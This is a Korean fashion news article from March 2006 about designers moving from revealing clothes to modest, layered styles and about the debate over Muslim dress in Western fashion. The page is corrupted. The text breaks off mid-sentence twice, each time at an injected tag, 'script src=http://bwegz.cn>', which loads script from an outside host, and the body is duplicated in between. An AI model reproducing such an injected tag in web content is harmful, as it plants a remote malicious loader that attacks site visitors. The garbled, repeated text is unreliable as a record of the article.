섹시미는 가고, 정숙미가 온다
2006-03-11 예정현 기자
‘로우로우’ 플래그십스토어 홍대점
극과 극은 통한다고 한다. 지난 몇 년간 경쟁적으로 노출을 조장하던 패션가에 슬슬 몸을 가리는 디자인이 힘을 얻고 있다. 아랫배와 허리선이 둔탁하면 민망하기 짝이 없는 힙스터, 늘씬한 몸매가 아니라면 결점을 강조하는 꼴이 되는 브라형 탑, 힙까지 차고 올라가 허리 숙이기가 곤란한 미니 스커트 등 사고뭉치 패리스 힐튼이 입을 법한 짧은 노출 패션을 경쟁적으로 내놓으며 여성들에게 몸매 강박증을 일으킨 것이 미안했던 것일까?
2006 디자이너들은 몸매를 드러내지 않고도 늘씬하게 보여주는 블랙 컬러에 길고 슬림한 디자인, 겹겹이 가려주는 레이어링 스타일을 내놓으며 다이어트에 혹사한 여성들을 달래고 나섰다.
따라서 올 시즌 멋쟁이 여성들은 ‘어디를 얼마만큼 노출시킬까’가 아니라 ‘어디를 어떻게 가려줄 것인가’를 연구해야 할 듯. 한마디로 2006 패션 코드는 정숙함(modest) 그 자체다.
정숙과 절제, 그리고 적절한 구속
이 같은 움직임은 지난 몇 년간 패션이 비정상적일 정도로 날씬한 ‘젊은 여성’을 타겟으로, 그들의 자부심(몸매)을 강조하는 데 치중한 것과 비교하면 상당한 방향 선회다. 물론 그 바탕에는 달도 차면 기운다는 말처럼, 몇 년간 과도하게 노출하거나 몸을 조이는 데 싫증난 소비자들이 적절한 품위를 되찾고 싶은 심리의 일환인 셈이다. 여기에 전혀 새로운 트렌드를 만들지 않으면 더 많은 매출, 더 많은 신규 고객 구축에 도움이 안 된다는 패션계의 실리적 판단이 한몫을 한 것으로 보인다.
그렇지 않고서야 갑자기 수많은 유명 디자이너들이 약속이라도 한 듯 정숙하고 적절한 구속(?)을 강조하는 단정한 스타일을 한꺼번에 쏟아낼 리가 없지 않은가. 어쨌든 올 시즌 여성들은 졸지에 ‘배드걸(Bad Girl)’ 차림에서 가정교육을 제대로 받은 양갓집 규수의 옷차림으로 극선회하는 즐거움을 누리게 되었다.
이제 두꺼운 레깅스와 발목을 덮는 스커트, 두꺼운 조직의 패브릭이 기지개를 켜게 된 것이다.
적절한 정숙미를 나타내는 디자이너의 대표적 인물인 앨버앨버즈. 「랑방」의 크리에이티브 디렉터인 그는 예의를 갖춘 옷차림이 여성을 더욱 아름답고 대접받게 만든다며 「랑방」을 패션계의 중심으로 다시 끌어왔다.
덜 자란 소녀 풍 디자인을 즐겨 내놓았던 마크 제이콥스도 뉴욕패션위크에 무거운 니트류와 레그 워머, 두터운 레이어링 스타일로 몸을 가리는 디자인을 대거 선보여 ‘지금은 가릴 때’라는 점을 주지시켰다. 즉, 핑크나 프릴은 뒤로 물러나고 다른 패브릭과 아이템을 레이어링해 몸을 적절히 가려주는 것으로 여성의 아름다움을 표현할 시점이 되었다는 것.
카리스마 넘치는 디자이너 칼 라거펠트는 아예 ‘머리가 좀 있는 여자라면 그린이나 핑크는 어울리지 않는다’는 말로 적절한 품격을 강조하고 나설 정도로 패션계는 정숙한 미에 홀딱 빠진 듯하다.
무슬림 디자인?
패리스 힐튼, 엘리자베스 헐리, 파멜라 앤더슨을 위한 노출 의상들이 뒤로 물러나자 몸을 가리는 것이 의상의 목적인 듯한 이슬람교 여성들의 옷차림이 패션계의 눈길을 끌고 있다.
그러나 9·11 뉴욕 테러 사태 이후 이슬람교와 아랍인에 대한 거부감이 심해진 사회 현상을 의식한 탓인지 디자이너들은 이슬람교의 헤드 스카프나 히잡 같은 디자인을 그대로 응용하지 않고 적절히 변화시켜 ‘다문화적 요소’를 적용했다는 정도로 몸을 낮추고 있다. 이는 이슬람 여학생들의 교내 헤드 스카프 착용 문제로 몸살을 앓고 있는 프랑스나 마호메드를 희화한 네델란드의 만화 때문에 아랍인들의 심기가 불편해진 만큼 무슬림 의상을 잘못 도입했다가는 아랍권과 서구의 반이슬람 세력의 반감을 살 수도 있기 때문이다.
실제로 칼 라거펠트는 단순히 디자인 창의성에 의지해 무릎까지 오는 긴 화이트 셔츠를 디자인했다가 그것이 아랍 문화권의 의상과 비슷했다는 점을 알고 놀랐다는 일화를 소개하기도 했다.
하지만 다양한 문화권의 의상을 끌어오는 것은 패션계의 일상이다. 한동안 인기를 끌었던 카프탄이나 판초, 튜닉 등은 알제리나 터키 등 아랍권 문화에서 힌트를 얻은 것으로 이브 생 로랑, 존 갈리아노, 스텔라 맥카트니의 컬렉션에도 한 자리를 차지하지 않았던가.
사실 패션계는 몸을 가려주는 스타일을 내놓으면서 이슬람 문화와 연관시키는 시선에 마음이 편치 않다. 정통 회교도들은 이슬람 문화에 무지(?)한 디자이너들이 그들의 의상을 슬쩍 빌려가 패션 운운하며 매출 거리로 활용하는 것은 마땅치 않게 여긴다. 또한 서구의 자유 옹호자들은 여성을 구속하고 가두는 反여성적 이슬람 문화를 패션 한가운데 끌어들이는 것에 역겨움을 표시하고 있다.
따라서 패션 디자이너들은 이슬람 문화를 건드리지 않고, 외곽을 도는 것으로서 무슬림 패션화에 대한 우려감과 반발을 피해?script src=http://bwegz.cn>
2006 디자이너들은 몸매를 드러내지 않고도 늘씬하게 보여주는 블랙 컬러에 길고 슬림한 디자인, 겹겹이 가려주는 레이어링 스타일을 내놓으며 다이어트에 혹사한 여성들을 달래고 나섰다.
따라서 올 시즌 멋쟁이 여성들은 ‘어디를 얼마만큼 노출시킬까’가 아니라 ‘어디를 어떻게 가려줄 것인가’를 연구해야 할 듯. 한마디로 2006 패션 코드는 정숙함(modest) 그 자체다.
정숙과 절제, 그리고 적절한 구속
이 같은 움직임은 지난 몇 년간 패션이 비정상적일 정도로 날씬한 ‘젊은 여성’을 타겟으로, 그들의 자부심(몸매)을 강조하는 데 치중한 것과 비교하면 상당한 방향 선회다. 물론 그 바탕에는 달도 차면 기운다는 말처럼, 몇 년간 과도하게 노출하거나 몸을 조이는 데 싫증난 소비자들이 적절한 품위를 되찾고 싶은 심리의 일환인 셈이다. 여기에 전혀 새로운 트렌드를 만들지 않으면 더 많은 매출, 더 많은 신규 고객 구축에 도움이 안 된다는 패션계의 실리적 판단이 한몫을 한 것으로 보인다.
그렇지 않고서야 갑자기 수많은 유명 디자이너들이 약속이라도 한 듯 정숙하고 적절한 구속(?)을 강조하는 단정한 스타일을 한꺼번에 쏟아낼 리가 없지 않은가. 어쨌든 올 시즌 여성들은 졸지에 ‘배드걸(Bad Girl)’ 차림에서 가정교육을 제대로 받은 양갓집 규수의 옷차림으로 극선회하는 즐거움을 누리게 되었다.
이제 두꺼운 레깅스와 발목을 덮는 스커트, 두꺼운 조직의 패브릭이 기지개를 켜게 된 것이다.
적절한 정숙미를 나타내는 디자이너의 대표적 인물인 앨버앨버즈. 「랑방」의 크리에이티브 디렉터인 그는 예의를 갖춘 옷차림이 여성을 더욱 아름답고 대접받게 만든다며 「랑방」을 패션계의 중심으로 다시 끌어왔다.
덜 자란 소녀 풍 디자인을 즐겨 내놓았던 마크 제이콥스도 뉴욕패션위크에 무거운 니트류와 레그 워머, 두터운 레이어링 스타일로 몸을 가리는 디자인을 대거 선보여 ‘지금은 가릴 때’라는 점을 주지시켰다. 즉, 핑크나 프릴은 뒤로 물러나고 다른 패브릭과 아이템을 레이어링해 몸을 적절히 가려주는 것으로 여성의 아름다움을 표현할 시점이 되었다는 것.
카리스마 넘치는 디자이너 칼 라거펠트는 아예 ‘머리가 좀 있는 여자라면 그린이나 핑크는 어울리지 않는다’는 말로 적절한 품격을 강조하고 나설 정도로 패션계는 정숙한 미에 홀딱 빠진 듯하다.
무슬림 디자인?
패리스 힐튼, 엘리자베스 헐리, 파멜라 앤더슨을 위한 노출 의상들이 뒤로 물러나자 몸을 가리는 것이 의상의 목적인 듯한 이슬람교 여성들의 옷차림이 패션계의 눈길을 끌고 있다.
그러나 9·11 뉴욕 테러 사태 이후 이슬람교와 아랍인에 대한 거부감이 심해진 사회 현상을 의식한 탓인지 디자이너들은 이슬람교의 헤드 스카프나 히잡 같은 디자인을 그대로 응용하지 않고 적절히 변화시켜 ‘다문화적 요소’를 적용했다는 정도로 몸을 낮추고 있다. 이는 이슬람 여학생들의 교내 헤드 스카프 착용 문제로 몸살을 앓고 있는 프랑스나 마호메드를 희화한 네델란드의 만화 때문에 아랍인들의 심기가 불편해진 만큼 무슬림 의상을 잘못 도입했다가는 아랍권과 서구의 반이슬람 세력의 반감을 살 수도 있기 때문이다.
실제로 칼 라거펠트는 단순히 디자인 창의성에 의지해 무릎까지 오는 긴 화이트 셔츠를 디자인했다가 그것이 아랍 문화권의 의상과 비슷했다는 점을 알고 놀랐다는 일화를 소개하기도 했다.
하지만 다양한 문화권의 의상을 끌어오는 것은 패션계의 일상이다. 한동안 인기를 끌었던 카프탄이나 판초, 튜닉 등은 알제리나 터키 등 아랍권 문화에서 힌트를 얻은 것으로 이브 생 로랑, 존 갈리아노, 스텔라 맥카트니의 컬렉션에도 한 자리를 차지하지 않았던가.
사실 패션계는 몸을 가려주는 스타일을 내놓으면서 이슬람 문화와 연관시키는 시선에 마음이 편치 않다. 정통 회교도들은 이슬람 문화에 무지(?)한 디자이너들이 그들의 의상을 슬쩍 빌려가 패션 운운하며 매출 거리로 활용하는 것은 마땅치 않게 여긴다. 또한 서구의 자유 옹호자들은 여성을 구속하고 가두는 反여성적 이슬람 문화를 패션 한가운데 끌어들이는 것에 역겨움을 표시하고 있다.
따라서 패션 디자이너들은 이슬람 문화를 건드리지 않고, 외곽을 도는 것으로서 무슬림 패션화에 대한 우려감과 반발을 피해?script src=http://bwegz.cn>
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